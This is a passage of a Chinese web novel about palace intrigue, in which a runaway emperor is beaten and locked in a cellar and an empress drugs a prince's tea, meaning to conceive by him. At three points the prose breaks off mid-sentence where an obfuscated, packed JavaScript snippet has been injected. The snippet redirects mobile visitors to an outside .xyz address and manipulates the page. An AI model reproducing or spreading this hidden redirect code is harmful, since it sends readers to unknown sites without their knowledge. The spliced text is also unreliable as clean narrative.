上辈子烟令颐夹在文康帝和太后之间这儿也受气那儿也受气,只有丽娘气太后的时候,她才会偷偷爽一下。 想到丽娘,烟令颐微微勾了勾唇瓣。 丽娘这个女人可不是读过书的朝中女人,她刁蛮的很,骨头里有一股绝不吃亏的泼辣劲儿,以前人在宫里,还能被框架压住,勉强顺着文康帝的意,但现在回了村里,真不知道文康帝要怎么压住她。 第一回,烟令颐在太后的宫殿里升出了几分快意,她的目光望向宫外,像是要从此处,望回到三灵山去,依托夏风一问,今日皇上可还快活? 8.你果然是嫌贫爱富,花心滥情 夏风吹过三灵山,带着烟令颐的思念,吹到山野间。 白日间的三灵山很美。 江上白练千叠山,浮空积翠如云烟,金光挥洒间烟空云散山依然,盎然绿色之中,一条溪流自山顶而落,欢快的奔向远方。 若是往常,季明山瞧见这溪流,肯定会觉得这溪流奔腾、透爽流畅,十分可爱,但现在,他蹲在溪流旁边洗衣服时,就不这么觉得了。 头顶上的太阳晒的他眼前发晕,蹲在溪边太久双腿发麻,腰杆都跟要断了一样,沉重的浆洗棒坠的他手骨酸痛,头皮上贴了一层湿漉漉的汗,把头发都浸透了,他的头皮痒得厉害,坐一边儿缓一会儿后,跟丽娘道:“丽娘,你帮我盥发。” “我帮你盥发?”丽娘正将一件衣裳洗好,闻言拔高了声量说:“你自己没长手吗?怎么天天想着被别人伺候!你能不能像个男人一样,哪有男人天天等着被人伺候的!” 季明山从昨天开始就一直在忍,今日实在是忍不住了,他高声喊道:“丽娘,我一直都在忍让包容你,你为何不能包容我?” “你在包容我?是我一直在包容你!”丽娘更生气了,她清秀的脸上满是倔强,“蹭”的一下跳起来对着季明山大喊道:“你以前有过多少女人?你碰过多少嫔妃?我嫌弃过你吗?我跟你在一起,本来就是我吃了亏!我以前可没有过任何一个男人!” 季明山完全没碰见过这样的女人! 男人跟女人之间,怎么能一样呢? 他喊起来:“你怎么能拿来跟我对比?你除了我,找不到更好的人!但朕找谁都行!你知道外面多少女人跟着朕吗?” “那些女人怎么能跟我比?”丽娘也喊起来:“我是只爱你这个人,她们是爱你的权势!你要不是皇上,他们愿意跟你过日子吗?” “不管怎么说,我是皇上!我不能干这些!”季明山多矫情金贵个人,吃一点苦就不愿意了。 “是!你高贵,你了不得!你走啊!谁让你留下来的?”丽娘更生气了,之前她跟季明山相恋时就说过,她只要一生一世一双人,她要一个干净的男人,季明山有过其他女人的事儿一直让她很介意。 就算是季明山跟她放弃了荣华富贵,回到了她的山里,她也无法接受,每每想来都如鲠在喉。 只有让季明山给她更多,更多更多更多,为她做更多的事儿,她才能感觉到自己被弥补。 季明山被气急了,大声喊道:“走就走!你以为我愿意留在你这里吗?我回了建业就是皇帝,你留在这破山村里,一辈子都是农妇!只配在这里洗一辈子的衣服!” 两人吵的昏天黑地,浑然没发现在一旁草丛里趴着的芝兰慢慢握紧了腰侧的刀。 皇后给她的命令是,如果皇上不回来,就在这里一直看着他,如果皇上要回去,她就要送皇上上路。 显然季明山有了离开的心思,她就应该杀了季明山。 烟令颐有些时候像是一头饿极了的野狗,而芝兰则像是烟令颐养出来的蛊人,烟令颐起码还有那么点脑子思考一下方向,芝兰脑子里面却是空荡荡的,什么都没有。主人一抬手,芝兰“嗖”一下就上了,一点理智都没有,也不管她眼前的人是不是皇帝。 就在芝兰准备上前,将文康帝弄死时,丽娘竟然先一步动手了! 她从地上捡起来一颗用来当小板凳坐的石头,趁着季明山不注意,对着季明山的脑袋狠狠往下一砸! 季明山被砸的腿一下子就软下去了,跌在地上,一脸不敢置信的问:“你疯了?” 别说季明山了,就连芝兰都没想到。 芝兰迟疑着,又把腰里的剑插回去了。看丽娘这架势,说不准不用她下手呢。 这一抽一插间,芝兰听见丽娘大喊道:“你果然是嫌贫爱富,花心滥情!才刚娶了我,就不想要我了!做梦!我告诉你,你一辈子都得跟我在一起!” 季明山目瞪口呆。 他哪里想到丽娘是这么个疯人啊!是,他是想要一个人爱他,只爱他,一辈子最爱他,但也没说是这样的爱啊! 以前吧,丽娘作妖,都有别人承受后果,就比如之前死了个南雪国的公主,忙的是太后,亡的是国,先死的是下面的将士,季明山本人从没遭受过重创,他只需要在一旁表现出悲伤难过,然后抱着丽娘一起大骂这世道不公,不让他们俩好好在一起就行了。 反正一切都不是他的错,都是这群人强迫他的。 那时候的丽娘被这种逻辑说服了,那时候也不太恨他,而是转而去恨别的女人,恨烟令颐,恨那些女人往季明山眼前凑,勾/引季明山。 现在好了,季明山真跟丽娘离开了皇城,来到了这山里,没有任何人可以怪了,丽娘什么火儿都冲着他来了。 季明山哪里受得了这个! 他原本是天底下最尊贵的人儿,为了一个“爱”字下了龙椅,然后就被人作践成了这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451576|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !他明明是爱丽娘,却不知道为什么,搞得好像十分对不起丽娘一样。 这世上任何一个女人得到他的爱,都应该感激涕零,凭什么丽娘得到了之后,还跟他像是仇人一样? 季明山不太懂,因为丽娘是真的爱他,不爱他的皇位,不爱他的荣华,就爱他这个人,在丽娘眼里,他们是平等的,甚至季明山因为有过别的女人,所以是低一等的,丽娘的思路就是如此简单而蛮横。 他悲愤,他恼怒,但都来不及了。 丽娘又一次高举起了手里的石头,把季明山打晕了,然后连拖带扛带回了村里,直接把人关在了地窖里,对着里面的季明山喊:“你不认错,不听话,我以后一口饭都不会给你吃!” 地窖都是自己挖的,里面昏暗潮湿,地面上还有爬虫,角落里堆着一些梯架器物,季明山被丢进去,沾了一身潮湿的土腥气。 “你竟然敢这么对朕!”他被丽娘砸的头上都流了血,气的一直在咆哮。 他可是皇帝啊! 回应他的,是丽娘“啪”的一声,关上了地窖的门。 不听话的人就该被教训,饿几顿就听话了。 丽娘村子里的人都是这么教训娶回来的女人的,她也这么教训季明山。 空荡沉闷的地窖里,回荡着季明山的咆哮。 几次咆哮之后,季明山的头脑都一阵发昏,不知道是因为头上有伤口,还是因为地窖密封逼仄,他力竭靠墙坐下,只觉得心底里那点新奇的爱意全都被丽娘的所作所为冲淡了,剩下的唯有恨和恼。 在这一刻,季明山突然开始想念烟令颐。 烟令颐从来不会这么对待他,他平日里受一点伤,烟令颐都会立刻为他处理,若是让烟令颐知道丽娘这么欺负他,烟令颐一定会杀了丽娘给他出气。 当初烟令颐下令要教导丽娘规矩果然是对的,他当初就不该被冲昏头脑,跟丽娘逃跑。 季明山后悔了。 他想回到三灵山去当他的皇上,至于丽娘这个疯女人,烟令颐想怎么处置就怎么处置,他不想要了。 季明山扣着自己的手指头,咬着牙想,他要再等等。 烟令颐不会放弃寻找他的,等烟令颐找来了,他就还是皇帝! 等他回去了,一定不会再跟烟令颐发脾气了——坐在地窖里的小皇帝这般想。 与此同时,负责调查三灵山内发生什么事儿的银甲与紫刃已经到了村庄中。 9.皇后与摄政王 银甲与紫刃在三灵殿中转了一圈,暗地里接触的都是殿中一些负责洒扫的一些人,了解了一部分三灵山发生的事情。 帝后来到三灵山后,唯一说得上是“意外”的,也就只有一个“农妇失踪”,金吾卫迅速调查,皇上被气病这一件事。 据说这个女人最终还是没有找到,皇上因此风寒,最终回了建业。 这些人根本不知道皇上已经偷龙转凤了,说来说去,重点都在那个失踪的农妇身上。 银甲与紫刃两人互相对视一眼,转头又开始去查那个失踪的农妇,兜兜转转,找到了半山腰的陆家村。 来之前,这俩人做了十足准备——之前那些金吾卫没头苍蝇一样在山里找了三天都没找到,为什么他们来了没多久却能找到?这失踪的农妇必然有些古怪之处,他们得仔细些。 两人化为货郎,开始挨家挨户的兜售一些东西,也换一些山里的东西。 三灵山半山腰的小村庄地理位置偏僻,下山一趟很不容易,也少有人赶集,所以一群人缺食少穿,特别是盐,这是硬通货,因此货郎很受欢迎,两人挨家挨户的走过去,周遭都是一圈人围着,很快就在村里听了一些“新鲜事儿”。 比如老陆家的闺女带了个男人回来。 比如他们很快成了亲。 比如这个男人出手很阔绰,穿金戴银。 紫刃用一包红糖去贿赂村子里的小孩儿,来细细询问,随着小孩儿的描述,用小木枝在地上画,最后竟然画出来个跟文康帝八成相似的人。 “就是他。”一旁的小孩吮着手指说。 紫刃惊出来一身冷汗,忙将地上的画儿擦了。 当日,银甲与紫刃以要收山货为理由,在村子里临时赁下了一处房子,开始了在陆家村生活的第一天,并向遥远的建业飞鸽传书。 —— 长了翅膀的鸽子飞啊飞,飞啊飞,乘着夜色、穿过明月,落到了建业皇城、承明殿中。 承明殿的雾松木一如往常的绿着,乌枪守在廊檐下,接回飞过的白鸽,后将密信送至树下,与树下的季横戈道:“启禀王爷,银甲与紫刃传回来消息。” 季横戈当时神色冷怠的倚坐在轮椅上,闻言抬手接过,随意拆开。 密信中的字落入到季横戈的眼中,季横戈微微挑眉。 失踪的农妇...和与文康帝八成相似的男人。 这两件事儿,似乎都跟那位皇后脱不开关系。 季横戈突然对烟令颐生出了几分好奇,他之前只是厌恨这个人非礼于他,现在,却是想瞧一瞧这来龙去脉。 他很想撕开烟令颐那张端正温和的脸,看一看胸膛里面是否有一颗流着脓水的心,与遍爬蛆虫的骨。 “皇上在哪儿?”他问。 乌枪低头回道:“回王爷的话,皇上现下刚下朝,在御书房批阅奏折。” 季横戈道:“过去看看。” 那张纸团被他捏在手心里慢慢揉搓成碎屑,顺着风,飘落到皇城的每一条宫道上。 机关椅从承明殿行向御书房时,宁月刚刚下朝,正对着御书房桌案上的一本本奏折犯愁。 —— 当时正是炎炎热夏。 御书房的角落处堆着冰缸,阵阵凉意浸透殿内,窗户半开着,隐隐可见其外摇晃的花影,外头的宫女静静地站着,耳垂倒影穿透枝木的随着光斑一起打在窗柩上,风一吹,树木便摇摇晃晃。 小窗人静,细漪弄音,夏在碎冰凉中。 这样的燥热天气,就该躺在矮榻上,享着冰缸,裹着薄薄的冰绸丝被睡上一觉,可宁月不能。 她驱退了整个御书房的人,自己一个人对着面前的奏折犯愁。 奏折上写什么的都有,说北边郡守来奏折,说北沼国的蛊人几次在大晋边境处作乱,似想再起战事,想要增军扩招,南边郡守来奏折,写南雪国今年给的供奉更少,不过他们愿意和亲过来一位公主,写西边郡守来奏折,西蛮常年劫掠,打一杆子就跑,怎么都抓不到人,写东边郡守来奏折,说东水又起水患,请求减免赋税。 剩下六部也不省心,今天宁月一上殿,这群人就开始吵,其中闹得最大的,是今天刚闹大的户部尚书林松霜林大人的贪污案。 大理寺卿夏松声出来弹劾的,证据确凿,送到案上之后,又有很多人出来请愿、一同弹劾,当时看那个阵仗,宁月差点儿没当场给那林大人判了。 幸亏嫂嫂之前说的话她还记着,她咬着牙没有当场判,而是按着皇嫂所说的话安排下去了。 但是接下来呢?接下来要干什么? 宁月看着满桌子的奏折发呆。 小公主这辈子学的最多的是琴棋书画,做过最出格的事儿是偷偷看点避火图,搜罗点世家美男画像偷偷猜猜自己的未婚夫会是谁,至于朝堂政事,她真的不懂。 正是摸不着头脑的时候,门外传来太监的通禀声:“启禀皇上,皇后求见。” 宁月抻长了脖子看向门口:“宣。” 三息后,烟令颐从宫女手中接过食盒,随后从门外提裙而入。 皇嫂今日穿了一套红色配霞帔袖衣,服髻龙凤饰,衣绣龙凤纹,戴头戴龙凤珠冠,每走一步,身上的金纹都熠熠生辉。 烟令颐其实并不喜欢这样繁琐复杂庄重的衣裳,她更爱一袭轻便武装,但人在皇城,只能如此。 “臣妾见过皇上”进门后,烟令颐向宁月行礼。 “都下去。”宁月先让其余人下去,后道:“皇后起来。” 引烟令颐进来的小太监心里嘀咕了一声“怪哉”,以往皇后每次来御书房,皇上都会直接命人将皇后挡回去,这还是头一回迎进来呢。 难不成三灵山一转,叫帝后二人关系破冰回暖了? 几个思绪间,小太监已经走出去了,而烟令颐则提着手中食盒走进来,道:“皇上忙碌,臣妾叫御膳房做了点吃的,给皇上补补身子。” 她声量放的不低,正好叫退出去的小太监听见,宁月也一直挺直腰杆配合她,等到小太监出去了,宁月才泄气一般趴在案上,用一种“活着好难”的语气说:“皇嫂,奏折看不懂。” 烟令颐走到近前,气定神闲道:“我来。” 摆在烟令颐面前的,是她做梦都想要接触到的东西,朝堂上的每一件事儿,她在后来的日子里都会仔细回想,来想这件事儿如果放到当时的她的手里应当如何做,现在,她有了修正的机会。 只见烟令颐拿出奏折,挨个儿在每一个奏折上面批改,一边批改一边跟宁月讲为什么这么批改。 “北沼国的战乱暂且搁置下,不必管,建业没有多余的钱去支援他们,去岁一年就打空了大晋的国库。” “南雪国和亲过来的公主封为皇贵妃,你好生待她,她是两国情谊的象征。” “西蛮这头与北沼国同理,不必管。” “东水这边不可减免税收,但是可以开放沿海商贸,这样,东水就有钱了,还能在一定程度上遏制走私,待到东水税收养上来,回头可以反哺大晋,到时候,才能去谈战争。” 烟令颐做这些事的时候,宁月两眼冒星星的看着她。 皇嫂怎么这么厉害呀! 一本本奏折走下去,最后走到林大人这条线,烟令颐沉下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456956|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼,道:“将这件事交给锦衣卫指挥使去查,让锦衣卫这头的人重点去查历来帐本。” 两人正是言谈时候,外面突然传来一阵通禀声,是齐王到。 听闻齐王到来,二人都有不同程度的诧异。 宁月是有点慌,她顶着哥哥的皮,怕见到除了皇嫂以外的任何人。 烟令颐却是疑惑,齐王缠绵病榻,离死都不远了,怎么还突然来此了? 说来也怪,自从他们求符回来后,齐王的身子骨看起来还真比之前康健许多。 “嫂嫂,皇叔来了。”宁月不安的看向皇嫂。 “我来。”烟令颐先压低声量回宁月,后又昂起声量道:“请皇叔进来。” 转瞬间,季横戈已被人推在轮椅上带进来。 见齐王到,宁月想要站起身来,又被烟令颐摁下去——宁月总还觉得自己是公主,见到长辈要行礼,却忘了自己是皇帝。 烟令颐与齐王互相见礼,齐王向文康帝见礼,随后,烟令颐问道:“深夏日燥,皇叔有什么吩咐只管说便是,怎的还亲身前来?” 说话间,烟令颐命人倒一杯茶水来。 季横戈的目光不动声色划过文康帝,道:“皇上不记得了?皇上去三灵山前曾向小王讨教过与北沼国战线一事,今日小王特来与皇上分说。” 烟令颐顿了一瞬——有这回事儿吗?上辈子她跟文康帝关系不好,文康帝从不曾去她的宫里,她也不知道文康帝具体行程。 宁月一滞,下意识回道:“朕这几日繁忙,给忙忘了,皇叔莫怪。” 坐在轮椅上的季横戈微微一笑,乍一看好像眉眼温润,与平日无异,但是如果仔细瞧,就能从他那双潋滟的桃花眼里看出来几分得意来。 有这回事儿吗?当然没有啦,文康帝从来没在国家大事上浪费过心思。 他只是捏造一个理由来试试而已——兵不厌诈。 若在这儿的是真货,对方只会反驳他,但如果假货,却会顺着他的话往下说。 再一看坐在原地的文康帝,正对着季横戈露出“我记起来了”的表情——季横戈缓缓垂下眼眸。 宁月这小丫头片子,可真是机关算尽,但算不明白啊。 愚蠢的对手轻而易举的掉进了他的陷阱中,让季横戈久违的有些高兴。 太久没跟人对垒了,都有点忘了打仗的感觉了,现在突然遇到了件事儿,竟让他找到了几分趣味。 虽然他对大晋后宅这点破事儿不感兴趣,也不在乎谁坐上皇位,但是看到皇后跟公主联手把皇上扔了的事儿,狗路过都得多看一眼。 这样一想,之前烟令颐急迫的过来扒他裤子的事情,也有了解释。 季横戈一时间有一种坐山观虎斗的感觉,太后有杀他的功夫,还不如回头看看自己的女儿跟儿媳,太后估计做梦都没想到,她儿子没有死在季横戈手里,反而要死在她的女儿跟儿媳手里。 大晋皇族这一代也是能人辈出、群星璀璨,太后只是毒杀个皇族而已,她们俩却是窃国藏帝,和她们俩一比,太后竟都显得有几分人性了。 “今日有些空闲。”季横戈道:“小王正好与皇上一叙。” 他是真想看看,这俩人葫芦里卖的什么药。 烟令颐在一旁点头:“好,我为皇叔奉茶。” 她也是真想下个药,齐王主动送上门,这机会千载难逢。 俩人相识一笑,两肚子坏水撞一起了,各坏各的。 一旁的宁月也挤出来一脸笑——好,这位一肚子草包,不提也罢。 总之,两肚子坏水儿跟一肚子草包就这么坐下了。 10.大郎,喝药 三人落座后,烟令颐将关于北沼国的奏折摆在案上,将一些朝政问题推给齐王。 旁人可能会觉得这是朝廷机密,泄给齐王似乎有些危险,但烟令颐却并不大在乎,因为她知道,齐王活不过这个月——谁会担心死人泄密呢? 烟令颐巴不得从他嘴里面掏出来一些关于北沼国的边防要事,虽说上辈子打到最后,北沼国并非亡国之主因,但以后治国也是要防范的。 上辈子齐王死的太早,后面文康帝几次在北沼国手中吃瘪,都是因为对北沼了解不够透彻。 北沼国地处大晋以北,此处一年四季都是盛夏,雨水丰沛,草木茂盛,二十四山山山相连,七十二水水水相通,外面瞧着好像是什么秀美长山,但走进去之后就不是了。 此处常年弥漫毒雾,丰沛的雨水养出参天的树木与腐烂的沼泽,树木的缝隙长出毒牙,粘稠的淤泥下生出毒虫,传闻北沼国是西王母的坐化之地,而北沼国人是西王母的儿女,除去北沼国人以外,谁若敢进去,就会被吃掉。 但齐王驻守北沼十二年,从不曾见过西王母。 他只见过人掉进沼泽里,被淤泥吞噬,被细细小小的虫子钻破眼球产卵筑巢,只见过人头大的蜘蛛,上有活灵活现的人面,只见过会拟人言语的蛇,学着人的语调诱人深入,各类稀奇古怪的蛇虫鼠蚁拼成了一个北沼国。 比北沼国二十四山中的毒虫更可恨的是,北沼国内生有蛊师。 这些蛊师自称是西王母的使臣,生来便可驭虫,那些稀奇古怪的虫子在他们手里,能发出意想不到的作用,可使男人生子,可使死人复生。 北沼国圣女贪爱大晋的坦阔平原,几次发动战争侵略大晋,季横戈自出生起,就听遍了北沼国的故事。 他自十二岁起便远赴北沼、驻守边境,唯有逢年过节才能回建业一叙,但纵然齐王英勇善战,也从不曾大胜北沼。 有些时候,季横戈觉得北沼国跟晋国挺像的。 在北沼国,极端的天气滋生出怪异的生命,各种动物被赋予了人类才有的面貌,人面蜘蛛上面有人脸,蛇冠子会吐出人言,水中的虫子可以在人的体内生存,然后操控人类不断喝水、繁衍生命,可这人还有理智,最后会跟虫子融为一体,变得人不人虫不虫。而在大晋,极端的权力滋生出了怪异的人,人被赋予了动物才有的贪婪,狡诈,为了权力上可弑父,下可食子,也是人不人兽不兽。 提起北沼来,季横戈便想,人和怪物摆在一起,他有些时候都分不清楚那些是人。 三人跪坐之后,宁月支支吾吾问不出什么话来,干脆低头装死,烟令颐倒是神色自如,命人取来边境布防图,展开来,细细询问齐王。 季横戈最开始没有把烟令颐的话当回事儿。 他今日过来,也不过是随意找一个理由来试一试文康帝罢了,现在不过是顺着之前的谎言走下来而已,但当烟令颐真的展开地图,跪坐在案后,于他面前向他讨教时,他才惊觉不对。 烟令颐问的每一个问题,都是大晋与北沼之间的难点,甚至每一个问题他都深思熟虑过。 季横戈抬眸,惊异的将烟令颐扫了一圈。 他想不出,烟令颐竟然有这般见识。 他们俩在某种情况上很相似。 烟家武将世家,烟令颐自小习武,因受困女子之身没有上战场,但兵法学过很多,上辈子文康帝贪图享乐后,烟令颐则开始处理朝政,她借着文康帝的目光学过很多东西,借着上辈子在朝政上的钻研和对一些事情的预知,她能跟季横戈讨论的有来有回。 说到最后,烟令颐盯着地图上的北沼国道:“北沼国易守难攻,地理占优,几次侵犯我国领土,是因为他们不生耕种,不善织食,他们也不想继续茹毛饮血,他们国民虽是蛮夷,但他们却有很多灵药宝物,我常想,若是能与北沼国通商路,与双方而言都是好事。” 季横戈微微一顿,抬眸去看烟令颐。 坐在他对面的姑娘年岁不过桃李,面若圆盘,眸若凤眼,虽算不得倾城倾国,但周身端正,自有一股浩然气,似是一朵莲,不争不抢不媚不娇,就那么端端正正大大方方的开着,扎根在淤泥里面也无所谓,用不着别人操心她,她自己依旧能开。 貌丰盈以庄姝兮,苞温润之玉颜。 察觉到他的目光,烟令颐抬眸,对他微微一笑。 这笑容不知为何刺了一下他的眼眸,他偏开过目光,沉吟着道:“两国积恨已久,若是这般和谈,要堕了我大晋威名,岂为亡国之君?” “国之威名,岂有黎民百姓更重要?”烟令颐反驳道:“若为了一些虚名而咬着牙交付出万条性命,才是亡国之君。” 这些话落到季横戈的心口,让季横戈想起了很久之前的事儿,他恍惚了一瞬,想抬眸看她,但又怕再被刺一下,干脆垂着眸道:“此事凶险,两国边境民众积怨已久,总有些人将私仇建立在国众之前,大晋国力未丰,不可轻试。” 季横戈嘴上这般说,但实际上这些事他也曾想过,甚至想动手实施。 两国初初开始联合,一定会出现很多问题,但是此事弊在当下,功在千秋,他认为可以做,化干戈为玉帛,两国人一起吃饱饭,总比一直打仗强。 是,两国一直打了很多仗,一直互相怨恨,但就是因为如此,他才想停止战争,他不是怕死,他也不是怕蛊虫,他没有向北沼国服软,他只是向边境枉死的人命服软。 但是先帝固守城邦,认为议和有伤帝王尊严,不肯如此,先帝病逝后,太后防他如蛇蝎,他若是敢说“与北沼国议和”,太后一定会当场给他扣一个“通敌叛国”的帽子,他也就渐渐歇了心思。 治国就是如此,不是忠臣就能活到最后,有些事,就算你明知道是好的,也不能做,王朝的利益,百姓的利益,与皇帝的利益并不一致。 他只是没想到,有朝一日,竟然能在烟令颐的口中听到这些。 他与她越谈越觉得惊讶。 如果坐在他面前的是一个朝臣,那这人应稳坐丞相宝座,成为整个大晋的定海神针,如果说这些的是文康帝,那他可以叩首拜皇,但偏偏,坐在他面前的是一个穿着锦华衣裙的女人。 金玉里绣出来的绸缎,风一吹就能跑的东西,竟然也能藏下这样的锋芒。 皇后的位置与显赫的出身在她这里只是最不值一提的优点,他今日确实扒开了她这一层皮囊,但是看到的不是想象之中的、腐烂的臭肉与遍爬蛆虫的骨头,而是一身端正的君子骨,和一个聪慧的脑子。 太后虽然薄情冷血、只会搅弄权势,但却生出了一个与她完全不同的子侄,季横戈在烟令颐身上,又看到了大晋的希望。 能有烟令颐这样的皇后,为大晋再续上一口气,是大晋的幸事。 而就是这时,烟令颐突然抬手倒茶,如上一次一般,两指并拢推送到季横戈面前,道:“皇叔为大晋殚精竭虑,实为大晋之幸事,先润润喉吧。” 季横戈那飘到很远的思绪瞬间被拉扯回来,眼尾向下撇了一眼那清澈的茶杯之后,又想,不,太后和烟令颐还是一样的。 下药都是一样的手法,可见烟家是有点传承在身上的。 而一旁的宁月瞧见皇嫂倒了水,便也自己拿壶给自己倒了一杯。 期间烟令颐瞥见了,但是碍于季横戈就在对面,烟令颐只能假装自己看不见,又收回目光,暗戳戳的看向季横戈。 季横戈只觉得好笑。 瞧瞧,搬起石头打自己的脚,他没被药倒,一会儿要先药倒宁月了。 也别怪宁月没有眼力见儿,她知道的东西太少,不知道自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463101|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么才是对的,烟令颐能骗她,别人自然也能骗她——宁月真是一天上十当,当当不一样。 这时候,烟令颐又一次看向季横戈。 宁月都喝了,季横戈若是不喝,她可就赔了皇妹又折兵了。 季横戈当然可以不喝,因为他已经知道烟令颐葫芦里面卖的是什么药了。 但是当烟令颐将茶杯推过来的时候,鬼使神差一般,他还是接过了这杯茶水。 眼见着齐王饮过茶水,烟令颐眉目一弯,笑的越发灿烂。 她笑起来很好看,像是一个刚干完坏事儿的小姑娘,眉梢都带着掩盖不住的喜意,一双眼闪闪发亮的看着季横戈,道:“皇叔久坐,定是累了,且先移步御书房后偏殿歇息片刻吧。” 季横戈腿废了,腰部以下用不上力气,经脉阻塞,久坐艰难,旁人跪坐一会儿只是腿脚酸麻,片刻就好过来了,但季横戈跪一会儿,却是酸痛难耐。 外人瞧着,都以为烟令颐是关怀齐王,但只有季横戈知道她在打什么主意。 这人真是把他当成泥捏的,偷一次不成,还想偷第二回,烟家女果真是毅力非凡。 季横戈又好气又好笑,抬眸时又被她的眼眸晃了一瞬,他盯着她那张笑脸看,心想,他偏不让她如意。 她要吃他这口肉,就别怪他给她个教训。 “皇后有心了。”坐在案后的温润男子缓缓勾唇,轻柔一笑:“劳烦皇后。” 烟令颐立刻差人,将齐王送去偏殿。 御书房距离偏殿不过百步距离,经过一条长廊,就能进入偏殿。 偏殿厢房与之前摘星阁的厢房摆设相差不大,外间茶室,内间卧房,左侧临窗矮榻,右侧屏风净室。 季横戈躺在床榻上不过片刻,就见窗外守着的宫女都被人叫走,片刻后,屏风后的窗户处便传来一阵窸窸窣窣的动静。 季横戈闭上眼,似是真睡着了一般,但是耳朵却高高的竖着。 他听觉依旧敏锐,能清晰听见任何一点动静。 窗户被推开,有人垫着脚轻轻跳进来。 裙摆擦过窗柩,金簪流苏相撞。 “嘎吱”一声响,木窗关上了。 随后就是一阵轻巧的脚步声,轻到几乎听不见。 裙摆几个腾挪间,烟令颐已经到了床边。 季横戈正安静的躺在其上。 烟令颐痴痴地望着他的身子,慢慢解开他的衣襟,在看到他胸膛上的伤疤时,烟令颐低声喃喃:“国耳忘家,公耳忘私,齐王镇守边关多年,令颐敬佩。若天有神明,当以文康帝十年——三十年寿,换齐王安康。” 若是上辈子季横戈还康健、不曾死,单凭他这样的雄韬武略,也不能叫南雪国灭了去,这样一把好刀就这么断了,谁能不扼腕? 她话语中的爱怜疼惜毫不掩盖,如同一捧清冽泉水,顺着季横戈身上残留的伤口灌进去,扑到他干涸的胸膛间,滋润他干裂的骨骼。 季横戈为大晋付出了这么多,不曾有任何一个皇族人谢过他,他没想到,有朝一日,竟然是烟令颐来谢他。 他的功绩会被人真诚感激,他的伤痛会被人真的心疼,这让季横戈心口里钻出一丝酸意。士为知己者死,但知己者难寻。 烟令颐的手落到他的伤疤上,顺着他的胸口往下滑,一边滑一边道:“齐王英武,我定然不会——” 定然不会浪费他的血脉!能在临死前为她诞下一子,也算是他为国尽忠。 略硬的薄茧摩擦过肌理,不痛,反而有一种奇异的、舒服的摩擦感,季横戈突然觉得胸膛有些发痒,心口突然猛烈的撞起来,像是有什么东西要从他死寂的心里顶出来。 季横戈突然冒出来了一个很要命的念头。 他想让烟令颐用力捏一下,他发痒的皮肉。